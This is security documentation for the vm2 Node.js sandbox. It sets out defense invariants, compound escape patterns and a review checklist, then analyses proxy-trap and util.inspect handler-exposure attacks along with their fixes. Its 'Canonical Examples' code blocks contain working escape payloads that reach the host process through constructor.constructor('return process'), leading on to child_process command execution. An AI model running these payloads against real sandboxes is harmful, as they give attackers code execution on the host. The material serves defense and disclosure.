11. Bridge-internal containers must not invoke sandbox code. Lists, maps, and saved-state records allocated for the bridge's exclusive use are reached from sandbox-realm closures whose intrinsics (Array.prototype, Object.prototype, Map.prototype) are attacker-reachable. Reads and writes on those containers must use prototype-bypassing primitives — Reflect.defineProperty, Reflect.apply over cached WeakMap.prototype.{get,set}, etc. — never operators (obj[i] =, map.set, for...in) that fall through to the sandbox prototype chain. Otherwise an attacker-installed setter/getter on Array.prototype[N] or Object.prototype.<key> can capture or mutate the bridge's raw saved state.

12. No sandbox-visible object has a host-realm prototype chain without bridge interposition. Every Promise (and, by extension, every spec-defined async dispatch target) reachable from sandbox code is either (a) sandbox-realm with globalPromise.prototype in its [[Prototype]] chain — so the sandbox-side .then/.catch overrides apply — or (b) a bridge proxy of a host-realm Promise — so the bridge apply-trap interception applies. A third shape (sandbox-realm allocation with a host-realm prototype, with no proxy in between) bypasses both layers: p.then/.catch/.finally lookup walks across realms to host native methods directly, Object.defineProperty(p, 'constructor', ...) writes onto the raw object, and V8's host-realm SpeciesConstructor dispatches the rejection through attacker-controlled species without ever invoking a sandbox-visible chokepoint. Any V8/Node primitive that produces such an object — WebAssembly JSPI is the first known one — must be neutralized at sandbox bootstrap. See Category 33.

13. The NodeVM builtin allowlist is a closed system. No Node builtin whose own API can reload, evaluate, debug, spawn, or otherwise re-enter host code (module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi) is reachable from the sandbox, regardless of how the embedder writes builtin — wildcard, explicit name, object syntax, low-level makeBuiltins. The check is family-prefix and node:-normalised, so subpath builtins (inspector/promises) and URL-style spellings (node:process) share fate with their canonical name. The only way to re-expose any of these names is to register a sandbox-safe wrapper through SPECIAL_MODULES, mocks, or overrides — i.e. the embedder must consciously opt into a stub that is not the raw host module.

14. allowAsync: false is a closed synchronous boundary. When async is disabled, no sandbox-reachable operation may schedule code into a later microtask — there is nothing to run after run() returns. Blocking Promise.prototype.then is not sufficient: thenable assimilation (PromiseResolveThenableJob) reaches sandbox code through every native resolve capability without consulting .then. Every entry point that can resolve a native promise with a thenable — the static methods (resolve/all/race/any/allSettled/try), the constructor's resolve argument, withResolvers, Array.fromAsync, and the realm-intrinsic base reachable via Object.getPrototypeOf(Promise) — must refuse object/function resolutions (TOCTOU-safe, without reading .then) or throw. See Category 51.

The Security Checklist for Bridge Changes at the end of this document gives the verification questions for each invariant.

Summary Copy Chapter

What The Attacker Ultimately Wants Copy Section

Almost every escape follows this progression:

Sandbox Object
  -> Host Constructor (Function)
    -> Code Evaluation ("return process")
      -> process.mainModule.require
        -> require("child_process")
          -> execSync("arbitrary command")

Block any step in this chain, and the escape fails. The bridge blocks step 1 (constructor access). The transformer blocks catch-clause access. Promise sanitization blocks async paths to step 2.

Compound Attack Patterns Copy Section

The most dangerous attacks combine multiple categories. Each pattern references its constituent categories. Every pattern below is closed by the defense named in the table that follows, except where a category's Known Residual says otherwise (Categories 22 and 47).

1. Prototype Pollution + Proxy Trap [Categories 2, 6]: Pollute Object.prototype to inject trap handlers, then trigger the trap via bridge operations.
2. Symbol.species + Async Error [Categories 3, 7]: Set Symbol.species to custom class, trigger host error in async path, receive unsanitized error in custom class constructor.
3. Built-in Override + Type Coercion [Categories 10, 11]: Override Array or Object.create, then pass object with valueOf() to Buffer.from() to trigger the override.
4. Monkey-patch + Promise [Categories 7, 11]: Override Function.prototype.call, then trigger Promise.then() to intercept internal callback dispatch.
5. Object.defineProperty disable + Species Attack [Categories 3, 11]: Override Object.defineProperty to no-op, preventing species reset, then exploit unprotected species.
6. Symbol Extraction + Array Monkey-patch [Categories 8, 11]: Override Array.prototype.splice/push to no-op, then call Object.getOwnPropertySymbols(hostObj) hoping the filter uses array methods.
7. Internal [[OwnPropertyKeys]] + Proxy Trap [Categories 6, 8]: Call Object.assign(proxyTarget, hostObj) where proxyTarget is a Proxy with a set trap to leak real symbols.
8. Constructor Accessor TOCTOU + Species Attack [Categories 3, 7]: Define a getter on p.constructor that returns Promise on first read (passes check) but returns malicious Symbol.species on subsequent reads.
9. Prototype Mutation + Species TOCTOU [Categories 2, 7]: Access globalPromise.prototype and replace constructor data property with accessor. Own-property checks miss inherited accessors.
10. Symbol.hasInstance + Species Attack [Categories 3, 7]: Override Symbol.hasInstance on globalPromise so instanceof fails, causing resetPromiseSpecies to skip.
11. Promise Static Method Stealing + Error Trigger [Categories 4, 7]: Copy Promise static methods to FakePromise, trigger host error during iteration/callback. Unsanitized error goes to FakePromise's reject handler.
12. Reflect.construct instanceof bypass + Species [Categories 3, 7]: Use Reflect.construct(Promise, [...], FakePromise) to bypass instanceof guard, combined with FakePromise[Symbol.species] = FakePromise.
13. Duck-typing + showProxy + Handler Exposure [Categories 8, 9]: Create Buffer duck-type, invoke inspect with showProxy: true, probe exposed handler.
14. Duck-typing + showProxy + fromOtherWithContext [Categories 8, 9]: Same as 13 but specifically exploits fromOtherWithContext method. Variant: doPreventExtensions.
15. Host prepareStackTrace + Array.fromAsync + SuppressedError [Categories 4, 7, 16, 19]: Walk prototype chain to get host Array, call Array.fromAsync for host promise, use using + Error Generation Primitive to create SuppressedError with host TypeError, catch via host promise's unsanitized .catch().
16. Duck-typing + showProxy + handler.get() with forged target [Categories 1, 9]: Obtain handler via showProxy, use host-side Array.reduce to call handler.get(rawHostFunction, 'constructor'), leaking raw host Function via prototype chain fallback.
17. Descriptor Extraction + Object.entries + Array Unwrap [Categories 1, 15]: Get property descriptor for Function.prototype.constructor, build nesting via chained getOwnPropertyDescriptors, extract with Object.entries(). Defense: recursive containsDangerousConstructor with cycle detection.
18. SuppressedError + Symbol Name Trick [Categories 4, 16]: DisposableStack.defer() or using with dispose method triggering Error Generation Primitive. SuppressedError wraps unsanitized host TypeError. Also works with AsyncDisposableStack.
19. WebAssembly JSTag Exception Catch [Categories 4, 12, 17]: Wasm module imports JSTag and trigger function. Trigger causes host TypeError via Error Generation Primitive. Wasm try_table/catch catches and returns unsanitized externref.
20. Array Species Self-Return + Object.assign [Categories 3, 10, 18]: Create host array, set up self-referential species constructor, inject via Object.assign (bypasses proxy set trap), call r.map(f) for raw host values. Chain cwu calls to extract host Function.
21. Host Built-in Identity Leak via Proto Walk [Categories 1, 2, 8]: Walk the prototype chain via ({}).__lookupGetter__('__proto__') composed with Buffer.apply (or any host-bound __proto__ getter) to terminate at host Object.prototype, then read .constructor to obtain a reference to host Object whose identity is disjoint from sandbox Object. The original symbol-filter patch (commit 67bc511) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns "I have a host built-in handle" into "I can read a host symbol or call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Closed structurally by thisAddIdentityMapping in lib/bridge.js (see Category 8 mitigation).
22. Async Generator yield-Return Thenable + Stack-Overflow Realm Skew* [Categories 4, 7, 29]: Use yield* to a no-return inner async iterator, then .return(thenable) where the thenable's .then synchronously throws via deep recursion. V8's PromiseResolveThenableJob captures the throw and the yield* continuation surfaces it as { value, done: false } — bypassing both the transformer's user-catch instrumentation and the globalPromise.prototype.then rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the RangeError is host-realm, then e.constructor.constructor("return process")(). Closed by wrapping %AsyncGeneratorPrototype%.next/.return/.throw to route iterator-result .value and rejections through handleException, plus replacing every thenable arg with a sandbox-realm wrapper whose .then is a fixed safeThen and always-shadowing the non-function branch so V8's re-read of .then cannot observe attacker-controlled values.
23. Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection [Categories 2, 4, 7, 30]: Resolve host Object.prototype.__proto__ setter via Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__") (the connect()-aliased sandbox __lookupSetter__ walks back to host). Trigger a host-realm TypeError (e.g., await WebAssembly.compileStreaming()). Inside catch(e), call setProto.call(getProto.call(e), null) — the apply trap unwraps context and forwards to the host setter, severing host TypeError.prototype.[[Prototype]] without any write trap firing. The next host TypeError from await WebAssembly.compileStreaming() walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. e.constructor.constructor is then host Function. Closed structurally by (A) caching host prototype-mutating intrinsics (Object.prototype.__proto__ setter, Object.setPrototypeOf, Reflect.setPrototypeOf, Object.{defineProperty,defineProperties}, Reflect.defineProperty, Object.prototype.__define{Getter,Setter}__) and refusing them in the apply trap with one layer of indirection peel for Function.prototype.{call,apply,bind} and Reflect.{apply,construct}; (B) cache-check on mappingOtherToThis before the proto-walk in thisEnsureThis so any previously-bridged host value returns the existing proxy even with a tampered proto chain.
24. Promise Species Hijack + Stack-Overflow Realm Skew [Categories 4, 7, 18, 29, 31]: class FakePromise extends Promise { static get [Symbol.species]() { return ct } } reroutes the swallow-tail child constructor inside localPromise to a sandbox-controlled ct. ct rebinds V8's internal (resolve, reject) capability to a sandbox collector; trigger a host-realm RangeError via e.stack after deep recursion (binary-searched depth) inside the downstream chain; V8's PromiseResolveThenableJob delivers the raw host Error to the collector — ex.constructor.constructor("return process")() then yields RCE. Closed by adding resetPromiseSpecies(this) immediately before the swallow-tail apply(globalPromisePrototypeThen, this, ...) call so the species protocol always resolves to localPromise regardless of the user's subclass Symbol.species override.
25. WebAssembly JSPI Cross-Realm Promise + Species Hijack [Categories 3, 7, 33]: JSPI returns a sandbox-realm Promise with host-realm Promise.prototype in its [[Prototype]] chain — bypassing both the sandbox-side .then/.catch overrides and the bridge apply-trap callback wrapping. Install Object.defineProperty(p, 'constructor', {get(){return F}}) directly on the raw object; p.finally(()=>{}) calls host Promise.prototype.finally, whose internal SpeciesConstructor reads F and dispatches the eventual host-realm rejection (host TypeError from WebAssembly.compileStreaming(Promise.resolve(0))) through F's reject closure with no bridge wrapping. e.constructor.constructor("return process")() evaluates in host realm because Function.[[Realm]] is host → RCE. Closed by deleting WebAssembly.promising and WebAssembly.Suspending at sandbox bootstrap, mirroring the WebAssembly.JSTag removal.
26. Stale Engine Protector + Species Hijack + Stack-Overflow Realm Skew [Categories 3, 4, 7, 43]: On Node 26 / V8 14.6, vm2's Promise.prototype.then/catch overrides were installed by plain assignment, which left the PromiseThenLookupChain protector valid; p.finally() on an ordinary (async () => 1)() Promise took the InvokeThen fast path to the native then and never entered vm2's wrapper, so resetPromiseSpecies never ran. An own constructor with Symbol.species pointing at a sandbox class then received the native reaction's resolve/reject; driving that reaction into a calibrated stack overflow delivered a raw host-realm RangeError to the attacker's reject closure → e.constructor.constructor → host Function → host process, with eval: false and wasm: false. Closed by installing the wrappers via Reflect.defineProperty (which invalidates the protector) and by wrapping Promise.prototype.finally to run resetPromiseSpecies(this) before the cached native call.
27. Read-Only View Setter Leak via Descriptor Extraction [Categories 6, 15, 44]: vm.freeze(cfg, 'cfg') exposes a host object with an accessor property. The direct write traps (set / defineProperty / deleteProperty) are inert, but Object.getOwnPropertyDescriptor(cfg, 'level').set (or __lookupSetter__, Reflect.getOwnPropertyDescriptor, Object.getOwnPropertyDescriptors) returns a live bridge-wrapped host setter. desc.set.call(cfg, value) routes through BaseHandler.apply onto the unwrapped host object, mutating host state through a read-only view. Closed by overriding ReadOnlyHandler.getOwnPropertyDescriptorDesc to strip the set accessor before it is wrapped, leaving the getter operative — a single hook that closes all four descriptor-read channels.
28. External Allowlist Substring Collision + Subpath Traversal [Categories 21, 24, 45]: With require: {external: ['left-pad'], resolve, context: 'host'}, the externalCache pre-check in LegacyResolver.customResolve used unanchored regexes, so require('evil-left-pad') passed by substring containment; the embedder's custom resolver then located the colliding package in the application's dependency directory, customResolve appended the resolved path to this.externals, and host require() ran its top-level code in host context (host child_process from a sandbox configured with builtin: []). Anchoring the matcher to ^(?:)(?:[\\/].*)?$ closed the collision but not the second stage: the permitted subpath tail accepts .. segments, so left-pad/../evil-package and left-pad/sub/../../evil-package walked out of the package boundary to the same effect, at a depth no regex lookahead can reach. Closed by both layers together — anchored matcher plus a segment-split rejection of any .. in the bare specifier, applied before the resolver is consulted and before any canonicalization (realpath would erase the .. evidence).
29. Thenable Assimilation Past allowAsync: false [Categories 7, 51]: Not a containment breach but a policy/timeout bypass. Hand a thenable to any native resolve capability — Promise.resolve/all/race/any/allSettled/try, new Promise(r=>r(thenable)), withResolvers().resolve, Array.fromAsync, or the realm-intrinsic base reached via Object.getPrototypeOf(Promise) — so V8's PromiseResolveThenableJob runs the attacker .then in a microtask after run() returns, outside timeout. Closed by guarding every resolve capability (TOCTOU-safe, refuses object/function without reading .then), throwing the static methods, neutralizing Array.fromAsync, and interposing a construct-guard Proxy on localPromise's prototype so the native base is un-constructable from the sandbox — all gated to allowAsync: false.
30. Host-Promise Species Hijack + Missing Handler [Categories 7, 43, 53]: Write constructor = {[Symbol.species]: Evil} onto a raw host promise returned by an embedder API, then call .then() / .catch() / .finally() with the settlement-direction handler omitted. SpeciesConstructor reads the species off the raw host object (no trap), and V8's internal Thrower/Identity reaction delivers the raw host settlement to the sandbox-captured capability with no callback slot to sanitize. Defense: neutralizeHostPromiseSpeciesOn shadows the host promise's constructor across the call.
31. Sloppy Host Function + Nullish Receiver [Categories 10, 54]: Call any embedder-exposed non-strict host function with no receiver (greet(), .call(null), Reflect.apply(fn, undefined, []), bind(null)()). V8's OrdinaryCallBindThis substitutes the host realm's global for this, and whatever the function returns or stashes from this is the host global — process.getBuiltinModule('child_process') follows. Defense: the host global is refused at every host→sandbox coercion chokepoint, delivered as undefined.

How The Bridge Defends Copy Section

Security Checklist for Bridge Changes Copy Chapter

When modifying bridge.js, setup-sandbox.js, or transformer.js, answer these questions:

1. Does this change expose any new return path for host objects? Every return value from proxy traps and bridge functions must be sanitized.
2. Can sandbox code call this method directly (not through a proxy)? Methods accessible on handler objects or prototypes can be called with attacker-controlled arguments.
3. Does this method accept parameters that could be attacker-controlled? Parameters like target, receiver, or callback arguments may be forged.
4. Are all Reflect. calls using cached references?* Sandbox-side Reflect overrides must not affect bridge internals.
5. Could this path be triggered by V8 internal algorithms (bypassing proxy traps)? V8 C++ code like ArraySpeciesCreate, FormatStackTrace, and PromiseResolveThenableJob operate on raw objects.
6. Does this handle all error types that could be thrown (including host-realm errors)? Any try/catch in bridge code might catch host errors that need sanitization.
7. Are there any new well-known symbols that need filtering? New symbols could provide cross-realm communication channels.

Runtime-Dependent Attack Surface: Sandbox `Proxy` Availability Copy Chapter

Everything else in this document describes V8 as shipped by a current Node.js.
This section records where the sandbox's own shape differs by runtime, because a
reader reasoning about the proxy-handler surface needs to know the answer is not
the same everywhere.

What differs Copy Section

lib/setup-sandbox.js installs Proxy as undefined in the
Object.defineProperties(global, ...) bootstrap block, then attempts to install
a wrapped proxiedProxy over it. Whether that second write lands depends on how
the engine treats a sealed slot on a vm context's global proxy:

Why it matters for the threat model Copy Section

The proxy-handler attack classes in this document -- notably
Category 9 and the
trap-reentrancy patterns -- assume sandbox code can construct a Proxy and
supply a hostile handler. On Node >= 10 and on Bun that primitive is absent from
the sandbox: there is no Proxy to construct. On Node 8 it exists and is
defended by wrapping rather than by removal.

The modern configuration is therefore the more restrictive one. A defence
described elsewhere as "the handler arguments are sanitised" is, on Node >= 10,
backed by the stronger fact that the constructor is unreachable. Nothing here
weakens a defence on any runtime; it records that one runtime relies on the
wrapper while the others do not need it.

Maintenance note Copy Section

Do not "clean up" either half of this mechanism without testing the full
supported Node range. Both halves have engine-dependent behaviour a current Node
cannot reveal:

• Spelling out writable: false, configurable: false on the sealed slots is a
  no-op on modern V8 and a behaviour change on Node 8, where only the explicit
  form actually seals the slot. Doing so removed Proxy from Node 8 sandboxes
  once already.
• Reflect.defineProperty cannot substitute for the plain assignment: on Node 8
  it returns true and stores nothing.

test/vm.js carries an AST-based guard that fails if any write to the sealed
Error / Promise / Proxy slots is left outside a try block, since an
unguarded write aborts sandbox setup on JavaScriptCore.

Considered Attack Surfaces Copy Chapter

These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.

• WeakRef / FinalizationRegistry: For the object-leak surface these are safe — held values are specified at registration time, and thisFromOther always re-wraps values crossing the boundary, so a weak reference cannot leak a raw host object. However, FinalizationRegistry opened a separate timeout-bypass / DoS surface (its cleanup callback runs after run() returns, outside the timeout) — see Category 42. Both are now removed from the default sandbox globals (GHSA-r4fx-v8hh-22mv).

• structuredClone: Not available in default vm context globals. Even if available, structuredClone strips prototype chains and creates plain objects, which cannot carry host constructors.

• SharedArrayBuffer / Atomics: Likely unavailable in default VM contexts due to COOP/COEP requirements. Even if available, SharedArrayBuffer only shares raw bytes -- no object references can cross through it. Its allocation-size surface is a separate matter and is capped alongside ArrayBuffer, TypedArray and WebAssembly.Memory by Category 36.

• Error.cause on sandbox-created errors: Set by sandbox code on sandbox-realm errors, so ensureThis handles it through normal property access on proxied errors. Error.cause on a host error carrying a live host reference is a different surface and is closed by Category 38 and Category 39.

• Private fields (#field): Use the [[PrivateName]] internal slot, which is not accessible through Proxies. Cannot be used to leak host references across the bridge.

• Iterator helpers (.map, .filter, .take, etc. on iterators): Operate on sandbox iterators and do not use ArraySpeciesCreate. Results are plain iterator objects without species resolution.

• TypedArray species: TypedArray values are coerced to numbers during storage. Functions become NaN. Species self-return on TypedArrays cannot store object references — the Array form of the same primitive is Category 18.

• Symbol.isConcatSpreadable: Species is handled by neutralizeArraySpeciesBatch (which sets constructor = undefined on every host array crossing a call, see Category 18), and spreading through the bridge is safe because proxy traps sanitize element access.

• Proxy.revocable: Revocation creates errors in the realm where the proxy was created. Since sandbox-created proxies create sandbox-realm errors, this does not introduce cross-realm error leakage.

• nodejs.util.inspect.custom installed on host-side proxy targets (issue #566, 3.11.5; the handler-exposure surface util.inspect opened before is Category 9): To restore correct util.inspect output on Node 26+ (which reads the symbol directly off the raw [[ProxyTarget]] slot, bypassing the get trap), lib/bridge.js installs a host-realm function under Symbol.for('nodejs.util.inspect.custom') on every host-side proxy target. The function walks this via cached Reflect.{ownKeys,getOwnPropertyDescriptor}, so every read flows through bridge traps. Reasoned safe because: (1) the property is reachable from sandbox code only via the proxy, and the existing isDangerousCrossRealmSymbol filter in get / ownKeys / getOwnPropertyDescriptor traps returns undefined for the host's marker symbol — confirmed across 10 extraction vectors including getOwnPropertyDescriptors, __lookupGetter__, Object.assign, spread, prototype-chain walks; (2) sandbox Symbol.for('nodejs.util.inspect.custom') has a distinct identity from the host's, so sandbox cannot forge a key that the bridge would treat as the marker (existing GHSA-47x8-96vw-5wg6 defense); (3) the property is installed as configurable: true so the trap returning undefined does not violate proxy invariants; (4) the install uses module-cached thisReflectDefineProperty, immune to runtime poisoning of Reflect.defineProperty; (5) the function's catch fallback returns a static literal — no host reference is reachable; (6) a WeakMap (thisInspectInFlight) bounds recursion on self-referential graphs and clears via finally, so independent inspect calls cannot leak [Circular] state across each other.

• Embedded bootstrap sources and the /vm2/lib/ virtual filename (3.12.x): bridge.js, setup-sandbox.js, setup-node-sandbox.js and events.js reach the sandbox realm as string literals from the generated lib/sources.js (built by scripts/build-sources.js) instead of fs.readFileSync(\${__dirname}/...`), so bundlers can ship vm2. Two consequences were checked. (1) The embedded text is byte-identical to the file on disk — test/sources.jsasserts this and CI fails on a stale commit — so no transpiler or minifier ever rewrites the boundary code (theFunction.prototype.toStringalternative was rejected for exactly that reason). (2) The scripts now compile under/vm2/lib/rather than the host install path. The GHSA-v27gisHostFrameFileNameand GHSA-x6m4x6m4IsHostFrameFileclassifiers key on a leading/, so bootstrap frames remain **host** frames and stay redacted from sandbox-visible stacks (test/sources.jsproves a slash-less name would exposebridge.js` frames). A side benefit is that the embedder's absolute install path no longer appears in any sandbox-compiled frame at all.

Future Risks Copy Chapter

These are upcoming or proposed features that could introduce new attack surfaces. They should be evaluated as they become available in Node.js.

• ShadowRealm (TC39 Stage 3): Creates a new realm from within JavaScript. If available in the sandbox, it could provide a fresh set of intrinsics that bypass bridge protections.

• Decorators / Symbol.metadata (TC39 Stage 3): Introduces new cross-realm symbols (Symbol.metadata) and decorator evaluation contexts that could provide new prototype chain traversal paths. A new well-known symbol reaching the sandbox is the Category 8 mechanism, so isDangerousCrossRealmSymbol must learn each one.

• Error.isError() (TC39 Stage 3): Type discrimination that could bypass proxy-based error wrapping. If Error.isError() operates on internal slots rather than prototype checks, it could distinguish host errors from sandbox errors.

• Temporal API: Introduces new built-in objects with deep prototype chains. Any new global constructor is a potential source of host-realm references.

• Transformer ecmaVersion upgrades: Any new JavaScript syntax with implicit catch semantics (like using in ES2024) must be evaluated for transformer coverage. The transformer's ecmaVersion: 2022 limitation means all post-2022 syntax with error-handling behavior is a blind spot — see Category 12 for the blind spot itself and Category 22 for the await using form the pin currently holds shut.

• Any primitive that returns a sandbox-realm object with a host-realm prototype: WebAssembly JSPI and the streaming compile APIs were the first (see Category 33). Every new Node API that hands the sandbox a Promise or iterator must be checked for this shape at bootstrap.

Attacks Bridge Internals (`docs/attacks/bridge-internals.md`) Copy Section

Bridge Internals

Attacks on the bridge's own machinery rather than on the objects it wraps: proxy trap handlers, handler exposure through util.inspect, monkey-patched call/apply/defineProperty, bridge-internal containers reachable through sandbox prototypes, the internal state object, and the read-only view.

Defense invariants enforced by fixes in this family: 8, 11 (see Defense Invariants).

Categories in this file: 6, 9, 11, 14, 27, 28, 44.

Attack Category 6: Proxy Trap Exploitation Copy Chapter

Advisories: none

Tests: test/vm.js ("Proxy::getOwnPropertyDescriptor attack"), test/vm.js ("proxy trap via Object.prototype attack"), test/vm.js ("proxy trap errors"), test/vm.js ("sandbox global Proxy is removed and sealed")

Description Copy Section

The Proxy constructor allows intercepting fundamental operations on objects. Attackers create Proxies with trap handlers that execute when the bridge processes values, allowing them to inject code at points where the bridge may pass unsanitized references. See also Category 2: Prototype Chain Manipulation for combining proxy traps with prototype pollution.

Attack Flow Copy Section

1. Create a Proxy with a trap handler (e.g., getOwnPropertyDescriptor, getPrototypeOf, construct).
2. Pass the Proxy to a host function (e.g., Buffer.from()) that the bridge will inspect.
3. When the bridge inspects the Proxy's properties, the trap executes.
4. The trap either throws a function (which receives host references as arguments in the catch block) or modifies Object.prototype to inject further traps.

Canonical Examples Copy Section

// Throw function from getOwnPropertyDescriptor trap
Buffer.from(new Proxy({}, {
  getOwnPropertyDescriptor() {
    throw f => f.constructor("return process")();
  }
}));

// getPrototypeOf trap to pollute Object.prototype
Object.defineProperty(Buffer.from(""), "y", {
  value: new Proxy({}, {
    getPrototypeOf(target) {
      Object.defineProperty(Object.prototype, "get", {
        get() {
          throw f => f.constructor("return process")();
        }
      });
      return Object.getPrototypeOf(target);
    }
  })
});

// Construct trap returning a function
new Proxy(class A {}, {
  construct() {
    return function() {
      return Object.getPrototypeOf(this).constructor.constructor("return process")();
    };
  }
});

// instanceof bypass via getPrototypeOf
throw new Proxy({}, {
  getPrototypeOf: () => {
    throw x => x.constructor.constructor("return process")();
  }
});

Why It Works Copy Section

The bridge must inspect and copy properties of objects that cross the boundary. If those objects are Proxies, the trap handlers execute in a context where unsanitized host references might be available as arguments.

Mitigation Copy Section

The bridge wraps the Proxy constructor to sanitize handler objects. Proxy handlers inherit from null-prototype objects to prevent Object.prototype pollution from affecting trap resolution. Proxy.revocable is also considered: revocation creates errors in the realm where the proxy was created, so it does not introduce cross-realm errors.

Detection Rules Copy Section

• new Proxy(...) with trap handlers, especially: getPrototypeOf, getOwnPropertyDescriptor, has, get, set, apply, construct.
• Throwing from within a Proxy trap -- the thrown value might be a function that receives host references.
• Proxy traps that modify Object.prototype -- combining proxy exploitation with prototype pollution.
• Proxy as argument to host functions like Buffer.from(), where the bridge will inspect the proxy's properties.
• Proxy.revocable -- revocation creates TypeError in the proxy's realm; not directly exploitable but worth monitoring.

Attack Category 9: Proxy Handler Exposure via util.inspect Copy Chapter

Advisories: GHSA-v37h-5mfm-c47c, GHSA-qcp4-v2jj-fjx8

Tests: test/ghsa/GHSA-v37h-5mfm-c47c/, test/ghsa/GHSA-qcp4-v2jj-fjx8/, test/vm.js ("Buffer.prototype.inspect handler exposure via showProxy attack"), test/vm.js ("doPreventExtensions not accessible via handler exposure through showProxy"), test/vm.js ("getFactory not accessible via handler exposure through showProxy"), test/vm.js ("Handler get() direct call with forged target leaking host Function constructor"), test/vm.js ("inspect with showProxy:true still reveals proxy structure (issue #566)")

Description Copy Section

When Node.js's util.inspect is called with showProxy: true, it exposes the internal target and handler of Proxy objects. If proxy handlers store references to raw host objects in accessible locations, attackers can retrieve these references. This technique relies on Category 8: Cross-Realm Symbol Extraction to obtain the real inspect symbol, and the handler methods become vectors for Category 1: Constructor Chain Traversal.

Attack Flow Copy Section

1. Duck-typing exploit: Buffer.prototype.slice internally calls this.subarray(start, end). By setting subarray to Buffer.prototype.inspect, calling slice invokes inspect with attacker-controlled arguments.
2. Inspect options access: Buffer.prototype.inspect accepts inspect options including callbacks like stylize. Inside these callbacks, this refers to the internal inspect context.
3. Handler exposure via showProxy: When showProxy: true is set, the inspect context's seen array can contain proxy handler objects.
4. Handler probing: Attacker enumerates handler properties/methods looking for anything that returns raw unwrapped host objects.
5. Constructor chain escape: With access to a raw host function, the attacker climbs func.constructor.constructor("return process")() to escape.

Canonical Examples Copy Section

// Duck-typing to invoke Buffer.prototype.inspect with controlled options
const obj = {
    subarray: Buffer.prototype.inspect,
    slice: Buffer.prototype.slice,
    hexSlice: () => '',
    l: {__proto__: null}
};

obj.slice(20, {
    showHidden: true,
    showProxy: true,
    depth: 10,
    stylize(a) {
        const handler = this.seen?.[1];
        if (handler) {
            // Attacker probes handler for any property/method
        }
        return a;
    }
});

// Specific attack via handler.get() with forged target
// Uses host-side Array.reduce to call handler.get(rawHostFunction, 'constructor')
// The constructor fallback returns thisReflectGetPrototypeOf(target).constructor
// = Function.prototype.constructor = raw host Function

// Specific attack via fromOtherWithContext method
// handler.fromOtherWithContext({__proto__: null, x: sandboxProxy}).x
// returns raw host function, bypassing proxy protection

// Specific attack via doPreventExtensions method
// handler.doPreventExtensions(target, craftedObject, handler)
// accepted object as a direct parameter, enabling crafted-object injection

Why fromOtherWithContext Leaks Copy Section

The fromOtherWithContext method was specifically designed to convert sandbox objects to host objects. When an attacker passed {__proto__: null, x: sandboxProxy}, the method returned a host object where .x was the raw host function, not a wrapped version. The fix moved this to a closure-scoped function, inaccessible from the handler reference.

Why handler.get() Direct Call Leaks Copy Section

The BaseHandler.prototype.get method's constructor case had a fallback path that used the target parameter: const proto = thisReflectGetPrototypeOf(target); return proto.constructor;. When called directly (bypassing the proxy mechanism) with a raw host function as target, this returned Function.prototype.constructor -- the raw host Function. The attack used Array.reduce with apply.bind(apply) as the reducer to chain: handler.get.call(handler, rawHostFunction, 'constructor').

The fix adds isThisDangerousFunctionConstructor check on the return value, blocking Function, AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. The __proto__ fallback was also hardened to use otherReflectGetPrototypeOf(object) instead of target.

Why Handler Class Reconstruction Leaks (GHSA-v37h-5mfm-c47c) Copy Section

After the closure-scoped WeakMap migration (a6cd917), handler instances no longer expose .object/.factory as instance properties, so reading properties off a leaked handler yields nothing useful. But the handler class itself was still reachable: handler → Object.getPrototypeOf(handler) → BaseHandler.prototype → .constructor → BaseHandler. Calling new BaseHandler(attackerObject) constructed a legitimate handler wrapping attacker-controlled state, which the .set trap would then use to plant a host-realm proxy of that state into attacker-visible memory -- giving the attacker a cross-realm read/write channel. Reflect.construct, custom newTarget, class extends, Object.setPrototypeOf({}, BaseHandler.prototype), and pp.set.call(forgedThis, ...) all achieved variants of the same primitive.

Mitigation Copy Section

Wrapped objects stored in closure-scoped WeakMap (handlerToObject), accessed only via closure-scoped getHandlerObject() function. Conversion methods moved to closure-scoped functions. Proxy target is a fresh shell object. Handler get trap checks isThisDangerousFunctionConstructor on return values. Four additional layers:

1. Construction token (GHSA-v37h-5mfm-c47c): createBridge() captures an unforgeable module-local Symbol('vm2 bridge handler construction') in closure. Every BaseHandler/ProtectedHandler/ReadOnlyHandler/ReadOnlyMockHandler constructor requires this token as its first argument and throws VMError(OPNA) otherwise. All legitimate construction sites (defaultFactory, protectedFactory, readonlyFactory, and the closure-scoped createReadOnlyMockHandler / newBufferHandler helpers used by setup-sandbox.js) inject the token from closure. Subclass construction via class X extends pp.constructor { constructor(o){super(o);} } fails because super(o) sees token = o rather than the real sentinel. Reflect.construct(Handler, [s]) and Reflect.construct(Handler, [s], altNewTarget) fail identically.
2. getHandlerObject WeakMap guard (GHSA-v37h-5mfm-c47c): the closure-scoped getHandlerObject(handler) now explicitly checks handlerToObject.has(handler) and throws VMError(OPNA) if not — so trap methods invoked on a sandbox-forged receiver (Object.setPrototypeOf({}, pp), pp.set.call(forged, ...)) refuse to operate rather than returning undefined deeper into the trap body.
3. Constructor-property sentinel rebind (GHSA-v37h-5mfm-c47c): the .constructor property on every handler prototype (BaseHandler.prototype, ProtectedHandler.prototype, ReadOnlyHandler.prototype, ReadOnlyMockHandler.prototype, plus subclasses defined in setup-sandbox.js like BufferHandler via the rebindHandlerConstructor helper) is replaced with a blockedHandlerConstructor function that unconditionally throws VMError(OPNA). Prototype-chain walks from any leaked handler never reach a callable form of the real class.
4. validateHandlerTarget (GHSA-qcp4-v2jj-fjx8): a closure-scoped handlerToTarget WeakMap pairs every handler with its canonical proxy target at construction time. Every trap method on BaseHandler (16), ProtectedHandler (2 overrides), ReadOnlyHandler (6 overrides), and ReadOnlyMockHandler (1 override) calls validateHandlerTarget(this, target) at entry, which rejects (a) handlers not in the WeakMap (forged this) and (b) trap calls whose target argument doesn't strict-equal the canonical target paired with that handler at construction (forged target). Both reject with VMError(OPNA). The Proxy machinery always supplies the canonical target, so legitimate dispatch is unchanged. This closes the showProxy seen[1] exposure path: a leaked handler invoked directly with attacker-supplied targets (gP(gP(gP(gP(Buffer))))) is rejected at the first call.

These defenses are independent: even if one fails (e.g., future WeakMap tampering compromises the has check), the others still block the escape.

Detection Rules Copy Section

